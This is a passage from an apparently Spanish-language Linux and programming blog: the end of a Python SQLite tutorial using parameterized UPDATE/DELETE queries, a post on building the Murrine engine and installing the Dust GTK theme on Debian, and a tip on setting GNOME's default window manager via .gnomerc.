cursor.execute("UPDATE Usuarios SET edad=? WHERE correo=?", values)
connection.commit()


Donde values es la tupla que se reemplazará donde están los placeholders. El motor de SQLite interpretará esa búsqueda como si le dijeramos:

cursor.execute("UPDATE Usuarios SET edad=24 WHERE correo='pablor@elcorreo.com'")

La ventaja de los placeholders es que nos permiten crear instrucciones dinámicas y cambiar el contenido de la misma sin tener que estructurarla nuevamente (muy útil para usarla en bucles).

Pero ¿cómo sabemos que realmente se actualizó el registro? Pues sencillo, listemos de nuevo todos los registros:

cursor.execute('SELECT * FROM Usuarios')
for row in cursor:
print row

Y en el terminal veremos algo como (nótese el nuevo valor de la edad de Pablo):

(u'pperez@tucorreo.com', 34, 1, u'Pedro Perez', u'', 4)
(u'maria@sucorreo.com', 25, 2, u'Maria Gomez', u'', 7)
(u'pablor@elcorreo.com', 24, 3, u'Pablo Rodriguez', u'www.pablo.com', 3)


Todo se ve muy bien, pero surge una última pregunta: ¿Cómo rayos puedo borrar un registro?. Simple, la instrucción DELETE obvio ¿no? seguida de la tabla y de la condición que identifica al registro. Borremos a todos los ancianos usuarios mayores de 34 de nuestro registro:

value = (34,)
cursor.execute("DELETE FROM Usuarios WHERE edad >= ?", value)
connection.commit()


Y una vez más mostramos a todo el mundo:
cursor.execute('SELECT * FROM Usuarios')
for row in cursor:
print row


Obteniendo:
(u'maria@sucorreo.com', 25, 2, u'Maria Gomez', u'', 7)
(u'pablor@elcorreo.com', 24, 3, u'Pablo Rodriguez', u'www.pablo.com', 3)


Lo sentimos mucho por Pedro Pérez pero esa es la Ley del Oeste ;)

Para finalizar el testamento la entrada les dejo el archivo test.py después de unir todo lo que hemos hecho hasta ahora:
# -*- coding: utf-8 -*-
# Importamos la libreria de SQLite
import sqlite3

# Creamos la conexion
connection = sqlite3.connect('test.db')

# Creamos el cursor
cursor = connection.cursor()

# Creamos el arreglo que contiene toda la informacion
datos = [
('Pedro Perez', 34, 'pperez@tucorreo.com', '', 4),
('Maria Gomez', 25, 'maria@sucorreo.com', '', 7),
('Pablo Rodriguez', 41, 'pablor@elcorreo.com', 'www.pablo.com', 3),
]

# Insertamos todos los registros
for t in datos:
cursor.execute('INSERT INTO Usuarios (nombre,edad,correo,url,visitas) VALUES (?,?,?,?,?)', t)

# Hacemos efectiva la transaccion
connection.commit()

# Imprimimos todos los registros
print "\nLista de todos los registros de la base de datos:"
cursor.execute('SELECT * FROM Usuarios')
for row in cursor:
print row

# Imprimimos solo el registro que tenga id = 1
id = (1, )
cursor.execute("SELECT nombre, visitas FROM Usuarios WHERE id=?", id)
for row in cursor:
print "\n%s ha realizado %i visitas" % (row[0], row[1])

# Actualizamos la edad de Pablo
values = (24, 'pablor@elcorreo.com', )
cursor.execute("UPDATE Usuarios SET edad=? WHERE correo=?", values)
connection.commit()
print "\nActualizada la edad de Pablo"

# Y volvemos a imprimir todos los registros para verificar los cambios
print "\nRegistros de la base de datos despues de actualizar a Pablo:"
cursor.execute('SELECT * FROM Usuarios')
for row in cursor:
print row

# Borramos todos los registros con edades mayores de 34 anios
value = (34,)
cursor.execute("DELETE FROM Usuarios WHERE edad >= ?", value)
connection.commit()
print "\nBorrados todos los ancianos ;)"

# E imprimimos otra vez todos los registros para verificar los cambios
print "\nRegistros de la base de datos despues de borrar a los viejitos:"
cursor.execute('SELECT * FROM Usuarios')
for row in cursor:
print row

# Finalmente cerramos todo como debe ser
cursor.close()
connection.close()


Es todo, espero que les haya sido de utilidad este pequeño tutorial

Dust Theme en Debian

jueves, abril 02, 2009

Últimamente he estado viendo muchas capturas de pantalla en la web con un tema de ventanas que me llama mucho la atención, principalmente porque es negro y además porque tiene un estilo demasiado limpio, moderno y estilizado, con bordes redondeados y muy bien trabajado. No es de esos temas negros que te queman la retina a los pocos minutos, es más bien un tema agradable... les hablo del famoso Dust Theme.



Éste tema lo han creado Rico Sta. Cruz y Kido Mariano con la idea de que sea incluido en el Ubuntu 9.04 (Jaunty Jackalope) para refrescar y mejorar un poco la apariencia del escritorio. Ojalá lo logren porque no es la primera vez que se escucha a la gente de Ubuntu decir que van a revolucionar el escritorio, que van a sacar un nuevo tema que nos dejará a todos boquiabiertos y bah... siempre salen con la misma cochinada el mismo tema Human :S

Bueno, lo primero que debemos saber es que el tema Dust trabaja con los motores de GTK2 Murrine y Clearlooks. Sin embargo el motor Murrine que trae Debian Squeeze no funciona con Dust, así que tenemos que descargar la versión SVN y compilarlo... nada del otro mundo xD

Instalaremos primero todas las dependencias:
# aptitude install gtk2-engines subversion build-essential automake autoconf intltool libtool libgtk2.0-dev

Luego nos descargamos la versión SVN de Murrine y la compilamos:
$ svn co http://svn.gnome.org/svn/murrine/trunk/ murrine
$ cd murrine
$ ./autogen.sh --prefix=/usr --enable-animation
$ make
# make install


El parámetro --enable-animation permite entre otras cosas habilitar las barras de progreso animadas (cosa que lograron gracias a Cairo).

Por último, descargamos el tema Dust para GTK2, el Dust para Firefox y los extras de Dust.

El Dust de GTK2 y los extras de Dust los instalamos de la siguiente forma: vamos al menú Sistema -> Preferencias -> Apariencia y arrastramos los archivos comprimidos dentro de la ventana anterior o simplemente descomprimimos los archivos en la carpeta ~/.themes. Cuando estén instalados entonces los seleccionamos en la misma ventana que sale en Sistema -> Preferencias -> Apariencia.

Al final nos debería quedar algo así:



Aún me falta instalar las fuentes que trae por defecto el Dust, cuando lo haga actualizo el post.

Cambio y fuera

Gestor de ventanas por defecto en GNOME

sábado, marzo 21, 2009

Casi siempre me la paso jugando con gestores de ventanas (léase Compiz, Metacity, Openbox, etc) y resulta bastante incómodo que para hacer que uno de ellos arranque al inicio de la sesión tengamos que agregarlo en los programas de inicio de GNOME. Al hacerlo así, GNOME inicia primero su gestor de ventanas por defecto (metacity) y después inicia el que nosotros queremos. Obviamente tenemos que esperar casi el doble del tiempo para tener un escritorio usable.

Eso me motivó a leer e investigar para dar con el paradero del @#!=&%$ fulano gestor de ventanas predeterminado, hasta que por fin lo encontré!

Basta con crear un archivo .gnomerc (si no existe) en nuestro directorio personal y dentro del archivo escribimos la siguiente línea indicando la ruta del gestor de ventanas que nosotros queremos como predeterminado:

export WINDOW_MANAGER=/usr/bin/compiz

La ruta /usr/bin/compiz podemos reemplazarla por cualquier otra, como por ejemplo
/usr/bin/openbox-gnome-session para correr GNOME usando Openbox como gestor de ventanas ;)